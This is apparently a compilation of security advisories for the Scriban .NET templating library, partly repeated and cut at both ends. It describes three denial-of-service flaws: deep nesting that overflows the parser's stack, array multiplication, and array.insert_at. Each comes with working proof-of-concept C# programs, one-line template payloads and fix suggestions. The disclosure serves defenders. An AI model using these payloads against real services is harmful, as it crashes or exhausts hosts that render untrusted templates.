Template.Parse(tpl);  // crashes identically

Object initializers {x:{x:...{x:1}...}}:

var b = new System.Text.StringBuilder();
for (int i = 0; i < n; i++) b.Append("{x:");
b.Append('1');
b.Append('}', n);
Template.Parse("{{ " + b + " }}");  // crashes identically

Unary operators:

string tpl = "{{ " + new string('!', n) + "true" + " }}";
Template.Parse(tpl);  // crashes identically

Liquid syntax mode (shares the same expression parser):

string tpl = "{{ " + new string('(', n) + "1" + new string(')', n) + " }}";
Template.ParseLiquid(tpl);  // crashes identically

Runtime via object.eval, with a fully trusted outer template — verified end-to-end: the outer parse reports HasErrors == false, then Render() crashes the process and the surrounding try/catch never fires (the StackOverflowException is uncatchable):

using Scriban;

int n = 8000;
string deep = new string('(', n) + "1" + new string(')', n);
string outer = "{{ \"" + deep + "\" | object.eval }}";

System.Console.WriteLine($"Outer template length = {outer.Length} chars.");
var t = Template.Parse(outer);
System.Console.WriteLine($"Outer parsed. HasErrors = {t.HasErrors}");
System.Console.WriteLine("Rendering (object.eval re-parses the inner string at runtime)...");
try
{
    t.Render();
    System.Console.WriteLine("Render returned without crashing");
}
catch (System.Exception e)
{
    System.Console.WriteLine($"Caught {e.GetType().Name} (note: StackOverflowException cannot be caught)");
}

Verified against clean NuGet installs of Scriban 6.6.0, 7.0.0, 7.1.0, and 7.2.0 (net8.0, .NET 9 runtime, Linux). A control template with depth 200 parses normally (HasErrors == false, no crash).

Impact

• Type: Denial of service via uncontrolled recursion (CWE-674) leading to an uncatchable StackOverflowException and full process termination.
• Severity: CVSS 3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H = 7.5 (High) — the same vector and score as both prior advisories it re-opens (GHSA-wgh7-7m3c-fx25 and GHSA-p6q4-fgr8-vx4p, each scored 7.5 High with the identical AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H vector). The score reflects the library boundary, where no privileges are required to parse a template; the privilege actually needed in a given deployment depends on how that application exposes template input.
• Who is impacted: Any application that calls Template.Parse / Template.ParseLiquid (or Template.Render on an unparsed source) on template text that is wholly or partially attacker-controlled — the documented server-side template scenario — and any application that passes attacker-controlled strings to object.eval / object.eval_template, even when its own templates are trusted.
• Why the existing mitigation does not help: ExpressionDepthLimit (default 250) is advisory only; it records a parse error but does not stop recursion, so it cannot prevent the stack overflow. Because the exception is a StackOverflowException, callers cannot defend with try/catch either — the process is lost.
• Affected versions: 6.6.0 – 7.2.0 (all versions shipping the depth-limit guard). Versions before 6.6.0 are vulnerable to the original unbounded-recursion condition.

Suggested remediation: make the limit actually stop descent — e.g. throw a parse exception from EnterExpression() when the limit is exceeded (or log with isFatal: true and have the parse loop honor _hasFatalError by unwinding). As defense in depth, call RuntimeHelpers.EnsureSufficientExecutionStack() at the entry of ParseExpression (the same technique already used in object.to_json), and add a regression test at a depth that overflows without the fix (e.g. 100,000), asserting a graceful exception rather than only checking HasErrors at depth 20.

Summary

The array multiplication operator (array * integer) in Scriban allocates a result whose size is the product of the attacker-controlled integer and the array length, with no LoopLimit / LimitToString check and no overflow-safe arithmetic. A ~40-byte template forces a multi-gigabyte allocation, producing a denial-of-service.

This is the unguarded sibling of operations that were hardened against the same class of abuse: string * integer (gated by a LimitToString pre-check), array.insert_at (gated by StepLoop/LoopLimit — the GHSA-24c8-4792-22hx fix shipped in 7.2.0, scored 8.7 High), and the range/iteration paths covered by GHSA-c875-h985-hvrc ("Built-in operations bypass LoopLimit", fixed 7.0.0). The same LoopLimit-based hardening pattern was applied to those operations but never to array * integer.

This can be observed directly in 7.0.0, the release where GHSA-c875 was patched: (1..5) * 50000000 (and 1..N | array.size) correctly throws Exceeding number of iteration limit '1000', while [1,2,3,4,5] * 50000000 allocates ~2 GB with no limit. The LoopLimit control is enforced on the iteration path but not on the array * int allocation path, side by side, in the same version. The bug has been present since the operator was introduced in 3.0.0, survives all of the 6.6.0 / 7.0.0 / 7.2.0 DoS-hardening passes, and is still present in 7.2.0 (current) — i.e. it is both a missed sibling of GHSA-24c8 and an incomplete coverage of GHSA-c875's LoopLimit hardening.

Details

The array * int operator is handled in ScriptArray<T>.TryEvaluate:

// src/Scriban/Runtime/ScriptArray.cs:504-508  (Multiply case)
var newArray = new ScriptArray<T>(intModifier * array.Count);
for (int i = 0; i < intModifier; i++)
{
    newArray.AddRange(array);
}

intModifier is the attacker-supplied integer (context.ToInt(...), ScriptArray.cs:399). Two problems:

1. No resource limit. Neither new ScriptArray<T>(intModifier * array.Count) nor the AddRange loop consults LoopLimit, LimitToString, or calls context.StepLoop(...). A grep of the entire TryEvaluate method (ScriptArray.cs:360-560) finds no StepLoop / LoopLimit / Limit reference. LoopLimit (default 1000) is therefore not enforced: a template that requests 250,000,000 elements creates them all without any "iteration limit" error.

2. Integer overflow in the capacity. intModifier * array.Count is unchecked int arithmetic. The overflow-safe long cast used by the string sibling is absent here.

The DoS-hardening passes guarded the two sibling operations but not this one:

// src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs:341  (string * int — GUARDED)
if (context.LimitToString > 0 && value > 0 && leftText.Length > 0
        && (long)leftText.Length * value > context.LimitToString)   // long arithmetic, pre-check
{
    throw new ScriptRuntimeException(spanMultiplier, $"String multiplication exceeds LimitToString `{context.LimitToString}`.");
}

// src/Scriban/Functions/ArrayFunctions.cs:414  (array.insert_at — GUARDED, GHSA-24c8 fix in 7.2.0)
for (int i = array.Count; i < index; i++)
{
    context.StepLoop(span, ref loopStep);   // LoopLimit enforced
    array.Add(null);
}

array * int (ScriptArray.cs:504) received neither guard.

When the oversized allocation fails as a managed exception, it is wrapped by the binary-expression evaluator:

// src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs:241-243
catch (Exception ex) when (!(ex is ScriptRuntimeException))
{
    throw new ScriptRuntimeException(span, ex.Message);
}

So a host that wraps Render() in try/catch sees a ScriptRuntimeException carrying the original OutOfMemoryException message (or ArgumentOutOfRangeException on the integer-overflow path).

PoC

A single console project reproduces it on the released NuGet package.

poc.csproj:

<Project Sdk="Microsoft.NET.Sdk">
  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net8.0</TargetFramework>
    <!-- If only the .NET 9 SDK is installed, change to net9.0. Behavior is identical. -->
  </PropertyGroup>
  <ItemGroup>
    <PackageReference Include="Scriban" Version="7.2.0" />
  </ItemGroup>
</Project>

Program.cs:

using Scriban;

// ~41-byte template requests 5 * 200,000,000 = 1,000,000,000 elements
string tpl = "{{ x = [1,2,3,4,5] * 200000000; x.size }}";

System.Console.WriteLine("Rendering...");
var sw = System.Diagnostics.Stopwatch.StartNew();
var result = Template.Parse(tpl).Render();           // allocates ~7.7 GB
System.Console.WriteLine($"size={result.Trim()} peakWS="
    + System.Diagnostics.Process.GetCurrentProcess().PeakWorkingSet64 / (1024 * 1024)
    + "MB elapsed=" + sw.ElapsedMilliseconds + "ms");

Run:

dotnet run -c Release

Measured peak working set on Scriban 7.2.0 (net8.0, .NET 9 runtime, Linux), varying only the multiplier:

| Multiplier | template size | elements | peak working set | |---|---|---|---| | 100,000 | 38 B | 500K | 49 MB (not a DoS) | | 50,000,000 | 40 B | 250M | 1,958 MB | | 200,000,000 | 41 B | 1B | 7,681 MB | | 400,000,000 | 41 B | 2B | 15,313 MB | | 429,496,730 | 41 B | — | integer overflow in intModifier * array.Count → wrapped ArgumentOutOfRangeException |

LoopLimit (default 1000) is demonstrably not enforced: 250,000,000 elements are created with no "iteration limit" error. Reproduced identically on released NuGet 6.6.0, 7.0.0, 7.1.0, and 7.2.0, and on 3.0.0, 4.0.0, 5.0.0, 5.10.0, 6.0.0, 6.2.1, 6.5.8 (~2 GB at multiplier 50,000,000). Version 2.1.4 and earlier are NOT affected — the operator did not exist (Unable to convert type ScriptArray to int).

Impact

• Type: Denial of service via uncontrolled memory allocation (CWE-789 / CWE-1284). The result size is intModifier * array.Count, attacker-controlled, with no limit and no overflow-safe arithmetic.
• Severity: CVSS 4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N = 8.7 (High) — the same vector and score GitHub/Scriban assigned to the sibling advisory GHSA-24c8-4792-22hx. CVSS 3.1 equivalent AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H = 7.5 (High).
• Who is impacted: any application that renders a template whose text is wholly or partially attacker-controlled (the documented server-side template scenario), or that passes attacker-controlled strings to object.eval / object.eval_template. No MemberFilter interaction is required — this is a pure language operation.
• Outcome (deployment-dependent, stated honestly): On systems with sufficient memory, the runtime catches the allocation failure and the host sees a ScriptRuntimeException wrapping OutOfMemoryException (or ArgumentOutOfRangeException on the integer-overflow path) — recoverable per request. On systems where the multi-GB allocation exceeds available memory, the OS OOM-killer can terminate the process before the managed exception fires (this outcome is deployment-dependent and was not reproduced in our 20 GB + swap test environment). In all cases, a ~40-byte template forces a multi-GB allocation and seconds of pegged CPU/GC — a real per-request availability degradation and resource amplification.
• Why the existing mitigation does not help: LoopLimit (default 1000) is the documented control for unbounded iteration/allocation, but the array * int path never consults it, so a defender running default configuration is not protected.
• Affected versions: 3.0.0 – 7.2.0 (every release containing the array * int operator). 2.1.4 and earlier are not affected.

Suggested remediation

Apply the same hardening already used on the sibling operations, in ScriptArray.cs (Multiply case, :504-508):

• Mirror array.insert_at: call context.StepLoop(span, ref loopStep) inside the fill loop so LoopLimit is enforced; or
• Mirror string * int: pre-check the result size with overflow-safe arithmetic before allocating, e.g. if (context.LimitToString > 0 && (long)intModifier * array.Count > context.LimitToString) throw new ScriptRuntimeException(...), and compute the capacity as long (or reject negative/overflowing products) to remove the integer-overflow path.

Add a regression test that asserts a graceful ScriptRuntimeException for a large multiplier (e.g. [1,2,3,4,5] * 50000000) rather than allowing the allocation to proceed.

Summary

ArrayFunctions.InsertAt in Scriban allocates index - list.Count null entries in a tight C# for loop with no bound on index. The function is exposed to template authors as array.insert_at, and the fill loop ignores every existing safety control: LoopLimit, LimitToString, ObjectRecursionLimit, and RecursiveLimit. A single template such as {{ [1] | array.insert_at 200000000 'x' | array.size }} causes OutOfMemoryException in well under a second on a host with 1 GB of memory, even when LoopLimit is set to 10 and LimitToString is set to 100. Because OutOfMemoryException is generally not caught by the template renderer or by typical host applications, the vulnerability terminates the host process, not just the template.

This is a sibling vector to GHSA-xw6w-9jjh-p9cr / GHSA-c875-h985-hvrc / GHSA-v66j-x4hw-fv9g, which patched comparable unbounded primitives in string * int, array.size, array.join, string.pad_left, and string.pad_right. The 7.0.0 hardening pass (dde661d "Apply LoopLimit to internal iteration paths" and 4227fde "Harden string padding width limits") swept the equivalent loops in ArrayFunctions and StringFunctions but missed InsertAt.

Details

Reproducible in 7.1.0 (latest tag) and on master at c8094b0.

src/Scriban/Functions/ArrayFunctions.cs:369-386:

public static IEnumerable InsertAt(IEnumerable? list, int index, object? value)
{
    if (index < 0)
    {
        index = 0;
    }

    var array = list is null ? new ScriptArray() : new ScriptArray(list);
    // Make sure that the list has already inserted elements before the index
    for (int i = array.Count; i < index; i++)
    {
        array.Add(null);            // <-- unbounded fill, no StepLoop, no Limit*
    }

    array.Insert(index, value);

    return array;
}

The function is registered as the template builtin array.insert_at (array.fmt-cs and the standard ArrayFunctions ScriptObject reflection registration). It is invoked from a template like [1] | array.insert_at 999999999 "x".

Three properties combine to make this exploitable:

1. There is no context-aware overload. Comparable amplification primitives in this same file received a (TemplateContext, SourceSpan, ...) overload that calls StepLoop per iteration (AddRange, Compact, Concat, Last, Limit, Offset, Reverse, Size, Sort, Uniq, Contains, Each, Filter, Join, Map, Any -- see commit dde661d). InsertAt was not given that treatment. The single IEnumerable, int, object signature is what the engine resolves to, so no host configuration changes its behaviour.

2. The loop itself never consults context.LoopLimit, context.LimitToString, context.RecursiveLimit, or context.ObjectRecursionLimit. There is no upstream call into context.StepLoop, context.CheckAbort, or any guard. With index = 200_000_000, the C# loop calls ScriptArray.Add(null) 200 million times on a List<object> whose capacity doubles geometrically; the JIT-compiled tight loop reaches the .NET array allocator faster than the GC can keep up.

3. OutOfMemoryException is the actual failure mode. Per Microsoft, OutOfMemoryException and friends are not reliably catchable by user code in production CLR runtimes; even when they are caught, large background allocations and triggered GC cycles leave the process in a degraded state. In the PoC below, the renderer wraps the OOM in a ScriptRuntimeException because the underlying allocation lands inside the renderer's try block, but on hosts that allocate the array slightly differently (e.g. tighter memory cap, server GC, or higher index value than the host has memory for) the bare OutOfMemoryException propagates and crashes the AppDomain.

The pattern that matches the existing fixes is to add a context-aware overload that validates index against LoopLimit (or LimitToString for the resulting array footprint) before the fill loop runs, and to mark the unsafe overload [ScriptMemberIgnore]:

[ScriptMemberIgnore]
public static IEnumerable InsertAt(IEnumerable list, int index, object value) { /* current body */ }

public static IEnumerable InsertAt(TemplateContext context, SourceSpan span, IEnumerable list, int index, object value)
{
    if (index < 0) index = 0;
    if (context.LoopLimit > 0 && index > context.LoopLimit)
    {
        throw new ScriptRuntimeException(span,
            $"array.insert_at index `{index}` exceeds LoopLimit `{context.LoopLimit}`.");
    }
    return InsertAt(list, index, value);
}

Same pattern as ArrayFunctions.AddRange, Compact, Concat, Last, Limit, etc., introduced by dde661d, and as StringFunctions.PadLeft/PadRight introduced by 4227fde.

PoC

Standalone .NET 9 console app referencing Scriban 7.1.0 from NuGet.

poc.csproj:

<Project Sdk="Microsoft.NET.Sdk">
  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net9.0</TargetFramework>
  </PropertyGroup>
  <ItemGroup>
    <PackageReference Include="Scriban" Version="7.1.0" />
  </ItemGroup>
</Project>

Program.cs:

using System;
using System.Diagnostics;
using Scriban;

class Program
{
    static void Run(string title, string template, int loopLimit, int limitToString, int timeoutSec)
    {
        Console.WriteLine($"\n=== {title} ===");
        var ctx = new TemplateContext { LoopLimit = loopLimit, LimitToString = limitToString };
        var tpl = Template.Parse(template);
        var sw = Stopwatch.StartNew();
        try
        {
            var task = System.Threading.Tasks.Task.Run(() => tpl.Render(ctx));
            if (!task.Wait(TimeSpan.FromSeconds(timeoutSec)))
            {
                Console.WriteLine($"  TIMEOUT after {timeoutSec}s -- DoS confirmed");
                return;
            }
            Console.WriteLine($"  output={task.Result?.Length} chars in {sw.Elapsed.TotalSeconds:F2}s");
        }
        catch (AggregateException ex)
        {
            Console.WriteLine($"  EXCEPTION ({sw.Elapsed.TotalSeconds:F2}s): {ex.InnerException?.GetType().Name}: " +
                              $"{ex.InnerException?.Message?.Split('\n')[0]}");
        }
    }

    static void Main()
    {
        // Baseline: small index renders normally.
        Run("baseline",
            "{{ ([1] | array.insert_at 5 'x' | array.size) }}",
            loopLimit: 1000, limitToString: 1048576, timeoutSec: 5);

        // Exploit: 200M index. LoopLimit=10 and LimitToString=100 do NOT protect.
        Run("DoS via array.insert_at index=200_000_000",
            "{{ [1] | array.insert_at 200000000 'x' | array.size }}",
            loopLimit: 10, limitToString: 100, timeoutSec: 30);

        // Exploit: int.MaxValue.
        Run("DoS via array.insert_at index=int.MaxValue",
            "{{ [1] | array.insert_at 2147483647 'x' | array.size }}",
            loopLimit: 10, limitToString: 100, timeoutSec: 15);
    }
}

Build and run inside a memory-capped Docker container so the OOM is actual, not theoretical:

docker run --rm -v "$PWD":/app -w /app -m 1g mcr.microsoft.com/dotnet/sdk:9.0 \
    dotnet run -c Release

Observed output:

=== baseline ===
  output=1 chars in 0.01s

=== DoS via array.insert_at index=200_000_000 ===
  EXCEPTION (0.68s): ScriptRuntimeException: <input>(1,10) : error : Exception of type 'System.OutOfMemoryException' was thrown.

=== DoS via array.insert_at index=int.MaxValue ===
  EXCEPTION (0.52s): ScriptRuntimeException: <input>(1,10) : error : Exception of type 'System.OutOfMemoryException' was thrown.

Two observations:

• The exploit triggers in roughly 600 ms inside a 1 GB container. Increasing the host memory simply moves the OOM threshold; the malicious template still wedges the process for the duration of the allocation and the resulting GC pressure, which is itself a denial of service even when the OOM is suppressed.
• Setting LoopLimit = 10 and LimitToString = 100 (effectively the most paranoid tuning a host could pick) makes no difference. The fill loop is in compiled C#, never goes through StepLoop, and the result is a ScriptArray, not a string, so LimitToString is never consulted.

Impact

Denial of service against any host that renders attacker-controlled or attacker-influenced Scriban templates. This includes the canonical Scriban use cases the README itself lists -- email templating, report templating, in-CMS templating, and Statiq-style static site generators where the template content is part of the data ingested. A single one-line template payload is enough to either OOM the process outright (when the host gives the renderer enough memory headroom for the loop to actually finish) or to wedge the process for tens of seconds while the allocator and GC fight (when memory is tight). On ASP.NET hosts using app.UseScriban-style middleware or background workers running per-tenant templates, the OOM terminates the entire process, taking down all tenants.

Severity is consistent with the four DoS GHSAs already published against Scriban (GHSA-xw6w-9jjh-p9cr High 7.5, GHSA-c875-h985-hvrc High 7.5, GHSA-v66j-x4hw-fv9g High 7.5, GHSA-m2p3-hwv5-xpqw High 7.5). The attack vector, complexity, and impact are identical: network reachable, low complexity, no privileges, no user interaction, full availability impact, no confidentiality or integrity impact. CVSS 4.0 vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N (High, 8.7).

Summary

The ExpressionDepthLimit parser guard in Scriban does not actually stop parsing — it only logs a non-fatal error and lets recursive descent continue. As a result, a template containing a deeply nested expression (parentheses, array initializers, object initializers, or unary operators) drives the recursive-descent parser into a native stack overflow. The resulting StackOverflowException is uncatchable in .NET and immediately terminates the host process.

Any application that parses an attacker-influenced template — or that passes attacker-controlled strings to object.eval / object.eval_template — can be crashed by a single small request (roughly an 8 KB payload). This is a denial-of-service. It affects both Scriban-native (Template.Parse) and Liquid (Template.ParseLiquid) syntax modes, which share the same expression parser.

This re-opens two advisories that were reported as fixed: GHSA-wgh7-7m3c-fx25 ("Uncontrolled recursion in parser → StackOverflow", reported fixed in 6.6.0) and GHSA-p6q4-fgr8-vx4p ("StackOverflow via nested array initializers bypasses ExpressionDepthLimit", reported fixed in 7.0.0). Both fixes are incomplete: the limit they rely on never halts recursion. All releases 6.6.0 through 7.2.0 (current) are affected.

Details

The depth guard is EnterExpression() in src/Scriban/Parsing/Parser.Expressions.cs:

// src/Scriban/Parsing/Parser.Expressions.cs:1209-1218
private void EnterExpression()
{
    _expressionDepth++;
    var limit = Options.ExpressionDepthLimit;
    if (limit > 0 && !_isExpressionDepthLimitReached && _expressionDepth > limit)
    {
        LogError(GetSpanForToken(Previous), $"The statement depth limit `{limit}` was reached when parsing this statement");
        _isExpressionDepthLimitReached = true;
    }
}

When the limit is exceeded it calls LogError(...) and sets a flag. It does not throw, does not return a sentinel, and does not unwind the parse. LogError here uses the default isFatal: false, so it merely appends a message and sets HasErrors — parsing proceeds:

// src/Scriban/Parsing/Parser.cs:476-488
private void Log(LogMessage logMessage, bool isFatal = false)
{
    Messages.Add(logMessage);
    if (logMessage.Type == ParserMessageType.Error)
    {
        HasErrors = true;
        if (isFatal) _hasFatalError = true;   // not set on the depth-limit path
    }
}

The flag _isExpressionDepthLimitReached is consulted only to avoid logging the same error more than once — no code path uses it to stop descending. Confirmed by full-repo search (grep -rn "_isExpressionDepthLimitReached" src/): it appears in exactly four places — the field declaration (Parser.cs:40), a reset to false (Parser.cs:106), and within EnterExpression the dedup test (Parser.Expressions.cs:1213) and its assignment to true (:1216). The only read is the dedup test on line 1213; nothing else reads it. ParseExpression calls EnterExpression() and then continues straight into the token switch with no flag check:

// src/Scriban/Parsing/Parser.Expressions.cs:113 + 181-182
EnterExpression();
try
{
    ...
    case TokenType.OpenParen:
        leftOperand = ParseParenthesis();   // recurses back into ParseExpression

// src/Scriban/Parsing/Parser.Expressions.cs:984-1001
private ScriptExpression ParseParenthesis()
{
    var expression = Open<ScriptNestedExpression>();
    ExpectAndParseTokenTo(expression.OpenParen, TokenType.OpenParen);
    expression.Expression = ExpectAndParseExpression(expression);  // -> ParseExpression -> ParseParenthesis -> ...
    ...
}

Both Template.Parse (Scriban-native) and Template.ParseLiquid (Liquid-compatibility) front-ends share this same expression parser, so both entry points are affected.

So for input nested N levels deep, the parser recurses N levels deep regardless of ExpressionDepthLimit. There is no RuntimeHelpers.EnsureSufficientExecutionStack() call and no absolute recursion cap anywhere in the parser. Once the native thread stack is exhausted, the runtime raises StackOverflowException, which .NET does not allow to be caught and which tears down the entire process. The number of nesting levels required to overflow depends on the platform's thread-stack size (empirically around 4,000 levels on a default 1 MB stack); it is not a configurable mitigation.

The same defective guard is what makes the array-initializer fix for GHSA-p6q4-fgr8-vx4p ineffective: ParseArrayInitializer was wrapped in EnterExpression()/LeaveExpression(), but because EnterExpression() only logs, the array path still overflows.

The existing regression tests only assert HasErrors == true at a nesting depth of ~20 with a limit of 10 (src/Scriban.Tests/TestParser.cs); they never use a depth large enough to overflow the stack, so they pass while the protection does nothing against the actual DoS.

Runtime reachability without template injection: object.eval / object.eval_template (src/Scriban/Functions/ObjectFunctions.cs:72-155) re-parse a string argument at render time using Template.Parse(...). An application whose own templates are fully trusted is still vulnerable if any user-controlled value flows into object.eval. The catch (Exception) inside Eval cannot intercept the StackOverflowException.

PoC

A single console project reproduces it on the released NuGet package.

poc.csproj:

<Project Sdk="Microsoft.NET.Sdk">
  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net8.0</TargetFramework>
    <!-- If only the .NET 9 SDK is installed, change to net9.0. Behavior is identical. -->
  </PropertyGroup>
  <ItemGroup>
    <PackageReference Include="Scriban" Version="7.2.0" />
  </ItemGroup>
</Project>

Program.cs:

using Scriban;

int n = 8000; // ~8 KB template; 8000 reliably overflows a default 1 MB thread stack
string tpl = "{{ " + new string('(', n) + "1" + new string(')', n) + " }}";

System.Console.WriteLine($"Parsing template with {n} nested parentheses (default ParserOptions)...");
Template.Parse(tpl);                 // <-- process is killed here
System.Console.WriteLine("Parse returned without crashing"); // never reached

Run:

dotnet run -c Release

Observed output (process aborts; shell exit code 134 = SIGABRT):

Parsing template with 8000 nested parentheses (default ParserOptions)...
Stack overflow.
   at Scriban.Parsing.Parser.ParseParenthesis()
   at Scriban.Parsing.Parser.ParseExpression(...)
   at Scriban.Parsing.Parser.ExpectAndParseExpression(...)
   at Scriban.Parsing.Parser.ParseParenthesis()
   ... (repeats until the stack is exhausted)

Additional confirmations (same crash / exit 134), substituting the template body in Program.cs:

The explicit limit is ignored — still crashes:

Template.Parse(tpl, parserOptions: new ParserOptions { ExpressionDepthLimit = 10 });

Array initializers (the GHSA-p6q4 path):

string tpl = "{{ " + new string('[', n) + "1" + new string(']', n) + " }}";
Template.Parse(tpl);  // crashes identically

Object initializers {x:{x:...{x:1}...}}:

var b = new System.Text.StringBuilder();
for (int i = 0; i < n; i++) b.Append("{x:");
b.Append('1');
b.Append('}', n);
Template.Parse("{{ " + b + " }}");  // crashes identically

Unary operators:

string tpl = "{{ " + new string('!', n) + "true" + " }}";
Template.Parse(tpl);  // crashes identically

Liquid syntax mode (shares the same expression parser):

string tpl = "{{ " + new string('(', n) + "1" + new string(')', n) + " }}";
Template.ParseLiquid(tpl);  // crashes identically

Runtime via object.eval, with a fully trusted outer template — verified end-to-end: the outer parse reports HasErrors == false, then Render() crashes the process and the surrounding try/catch never fires (the StackOverflowException is uncatchable):

using Scriban;

int n = 8000;
string deep = new string('(', n) + "1" + new string(')', n);
string outer = "{{ \"" + deep + "\" | object.eval }}";

System.Console.WriteLine($"Outer template length = {outer.Length} chars.");
var t = Template.Parse(outer);
System.Console.WriteLine($"Outer parsed. HasErrors = {t.HasErrors}");
System.Console.WriteLine("Rendering (object.eval re-parses the inner string at runtime)...");
try
{
    t.Render();
    System.Console.WriteLine("Render returned without crashing");
}
catch (System.Exception e)
{
    System.Console.WriteLine($"Caught {e.GetType().Name} (note: StackOverflowException cannot be caught)");
}

Verified against clean NuGet installs of Scriban 6.6.0, 7.0.0, 7.1.0, and 7.2.0 (net8.0, .NET 9 runtime, Linux). A control template with depth 200 parses normally (HasErrors == false, no crash).

Impact

• Type: Denial of service via uncontrolled recursion (CWE-674) leading to an uncatchable StackOverflowException and full process termination.
• Severity: CVSS 3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H = 7.5 (High) — the same vector and score as both prior advisories it re-opens (GHSA-wgh7-7m3c-fx25 and GHSA-p6q4-fgr8-vx4p, each scored 7.5 High with the identical AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H vector). The score reflects the library boundary, where no privileges are required to parse a template; the privilege actually needed in a given deployment depends on how that application exposes template input.
• Who is impacted: Any application that calls Template.Parse / Template.ParseLiquid (or Template.Render on an unparsed source) on template text that is wholly or partially attacker-controlled — the documented server-side template scenario — and any application that passes attacker-controlled strings to object.eval / object.eval_template, even when its own templates are trusted.
• Why the existing mitigation does not help: ExpressionDepthLimit (default 250) is advisory only; it records a parse error but does not stop recursion, so it cannot prevent the stack overflow. Because the exception is a StackOverflowException, callers cannot defend with try/catch either — the process is lost.
• Affected versions: 6.6.0 – 7.2.0 (all versions shipping the depth-limit guard). Versions before 6.6.0 are vulnerable to the original unbounded-recursion condition.

Suggested remediation: make the limit actually stop descent — e.g. throw a parse exception from EnterExpression() when the limit is exceeded (or log with isFatal: true and have the parse loop honor _hasFatalError by unwinding). As defense in depth, call RuntimeHelpers.EnsureSufficientExecutionStack() at the entry of ParseExpression (the same technique already used in object.to_json), and add a regression test at a depth that overflows without the fix (e.g. 100,000), asserting a graceful exception rather than only checking HasErrors at depth 20.

Summary

The array multiplication operator (array * integer) in Scriban allocates a result whose size is the product of the attacker-controlled integer and the array length, with no LoopLimit / LimitToString check and no overflow-safe arithmetic. A ~40-byte template forces a multi-gigabyte allocation, producing a denial-of-service.

This is the unguarded sibling of operations that were hardened against the same class of abuse: string * integer (gated by a LimitToString pre-check), array.insert_at (gated by StepLoop/LoopLimit — the GHSA-24c8-4792-22hx fix shipped in 7.2.0, scored 8.7 High), and the range/iteration paths covered by GHSA-c875-h985-hvrc ("Built-in operations bypass LoopLimit", fixed 7.0.0). The same LoopLimit-based hardening pattern was applied to those operations but never to array * integer.

This can be observed directly in 7.0.0, the release where GHSA-c875 was patched: (1..5) * 50000000 (and 1..N | array.size) correctly throws Exceeding number of iteration limit '1000', while [1,2,3,4,5] * 50000000 allocates ~2 GB with no limit. The LoopLimit control is enforced on the iteration path but not on the array * int allocation path, side by side, in the same version. The bug has been present since the operator was introduced in 3.0.0, survives all of the 6.6.0 / 7.0.0 / 7.2.0 DoS-hardening passes, and is still present in 7.2.0 (current) — i.e. it is both a missed sibling of GHSA-24c8 and an incomplete coverage of GHSA-c875's LoopLimit hardening.

Details

The array * int operator is handled in ScriptArray<T>.TryEvaluate:

// src/Scriban/Runtime/ScriptArray.cs:504-508  (Multiply case)
var newArray = new ScriptArray<T>(intModifier * array.Count);
for (int i = 0; i < intModifier; i++)
{
    newArray.AddRange(array);
}

intModifier is the attacker-supplied integer (context.ToInt(...), ScriptArray.cs:399). Two problems:

1. No resource limit. Neither new ScriptArray<T>(intModifier * array.Count) nor the AddRange loop consults LoopLimit, LimitToString, or calls context.StepLoop(...). A grep of the entire TryEvaluate method (ScriptArray.cs:360-560) finds no StepLoop / LoopLimit / Limit reference. LoopLimit (default 1000) is therefore not enforced: a template that requests 250,000,000 elements creates them all without any "iteration limit" error.

2. Integer overflow in the capacity. intModifier * array.Count is unchecked int arithmetic. The overflow-safe long cast used by the string sibling is absent here.

The DoS-hardening passes guarded the two sibling operations but not this one:

// src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs:341  (string * int — GUARDED)
if (context.LimitToString > 0 && value > 0 && leftText.Length > 0
        && (long)leftText.Length * value > context.LimitToString)   // long arithmetic, pre-check
{
    throw new ScriptRuntimeException(spanMultiplier, $"String multiplication exceeds LimitToString `{context.LimitToString}`.");
}

// src/Scriban/Functions/ArrayFunctions.cs:414  (array.insert_at — GUARDED, GHSA-24c8 fix in 7.2.0)
for (int i = array.Count; i < index; i++)
{
    context.StepLoop(span, ref loopStep);   // LoopLimit enforced
    array.Add(null);
}

array * int (ScriptArray.cs:504) received neither guard.

When the oversized allocation fails as a managed exception, it is wrapped by the binary-expression evaluator:

// src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs:241-243
catch (Exception ex) when (!(ex is ScriptRuntimeException))
{
    throw new ScriptRuntimeException(span, ex.Message);
}

So a host that wraps Render() in try/catch sees a ScriptRuntimeException carrying the original OutOfMemoryException message (or ArgumentOutOfRangeException on the integer-overflow path).

PoC

A single console project reproduces it on the released NuGet package.

poc.csproj:

<Project Sdk="Microsoft.NET.Sdk">
  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net8.0</TargetFramework>
    <!-- If only the .NET 9 SDK is installed, change to net9.0. Behavior is identical. -->
  </PropertyGroup>
  <ItemGroup>
    <PackageReference Include="Scriban" Version="7.2.0" />
  </ItemGroup>
</Project>

Program.cs:

using Scriban;

// ~41-byte template requests 5 * 200,000,000 = 1,000,000,000 elements
string tpl = "{{ x = [1,2,3,4,5] * 200000000; x.size }}";

System.Console.WriteLine("Rendering...");
var sw = System.Diagnostics.Stopwatch.StartNew();
var result = Template.Parse(tpl).Render();           // allocates ~7.7 GB
System.Console.WriteLine($"size={result.Trim()} peakWS="
    + System.Diagnostics.Process.GetCurrentProcess().PeakWorkingSet64 / (1024 * 1024)
    + "MB elapsed=" + sw.ElapsedMilliseconds + "ms");

Run:

dotnet run -c Release

Measured peak working set on Scriban 7.2.0 (net8.0, .NET 9 runtime, Linux), varying only the multiplier:

